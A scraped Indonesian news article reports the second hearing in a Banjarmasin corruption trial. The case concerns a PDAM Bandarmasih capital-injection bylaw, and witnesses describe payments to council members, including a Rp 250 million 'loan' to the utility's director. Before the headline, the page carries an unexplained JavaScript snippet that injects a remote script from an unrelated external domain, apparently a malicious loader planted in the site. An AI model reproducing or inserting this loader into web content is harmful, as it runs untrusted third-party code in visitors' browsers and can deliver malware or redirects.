(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Persekongkolan Bagi-bagi Uang Terkuak, Sejumlah Anggota Dewan Diduga Terima Jatah!


BANJARMASIN, Sidang kedua kasus dugaan korupsi Raperda Penyertaan Modal PDAM Bandarmasih sebesar Rp 50,7 miliar yang berlangsung Senin (28/11) di PN Tipikor Banjarmasin menguak banyak hal. Sejumlah saksi yang dihadirkan Jaksa Penuntut Umum (JPU) dari KPK memperkuat dugaan bagi-bagi jatah dari uang yang beredar guna memuluskan lolosnya Perda tersebut.

Ada sebanyak 12 saksi yang dihadirkan JPU. Saking banyaknya, hingga sidang yang mengagendakan mendengar keterangan saksi jaksa penuntut tersebut dibagi menjadi dua sesi. Dan tak seperti sidang hari pertama yang berlangsung singkat, kali ini berlangsung hingga sore!

Saksi yang dihadirkan oleh JPU yang diketuai Kiki Ahmad Yani terdiri dari anggota DPRD Banjarmasin dan Direktur Operasional PT Chindra Santi Pratama yang merupakan rekanan dari PDAM Bandarmasih. Di antara saksi dari legislatif yang hadir, selain bekas Ketua DPRD Banjarmasin Iwan Rusmali dan Ketua Pansus PDAM Andi Effendi, juga hadir Hj Ananda (Ketua DPRD saat ini yang menggantikan Iwan Rusmali, red),  Ahmad Rudiyani, Heri Edward, Abdul Gais, Dedi Sofyan, M. Suryani, Agus Suprapto, suprayogi dan Budiyanto. Sedangkan dari rekanan PDAM yang diminta keterangannya adalah Imam Purnama dari PT Chindra Santi Pratama yang menjabat sebagai Direktur Operasional.

Dalam sidang tersebut, JPU membuka rekaman yang membongkar kedok aksi bagi-bagi untuk memuluskan Raperda Penyertaan Modal PDAM. Misalnya saja, ketika dibuka rekaman percakapan anatara Imam Purnama dengan Muslih terkait permintaan uang Rp 250 juta.

Terkait uang Rp 250 juta yang diberikan Imam Purnama, dia mengatakan Muslih meminta dengan dalih untuk acara resepsi anaknya. Hal ini dipertanyakan Hakim dan JPU, dalam sidang apakah Rp 250 juta itu dari uang pribadi atau dari PT CSP. Mengingat untuk uang sebanyak itu tidak sembarangan orang bisa meminjamkan tanpa ada persetujuan dan jaminan.

Namun Imam menanggapi bahwa dia percaya kepada Muslih.

“Saya percaya dengan Bapak Muslih selaku Dirut PDAM Bandarmasih, dan  pada saat itu saya sedang memegang uang itu dan meminjamkannya bukan memberikan,” bantahnya.


Page: 1 2 3

Desy Arfianty

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

14 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

15 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

15 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

16 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

17 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

22 jam ago

This website uses cookies.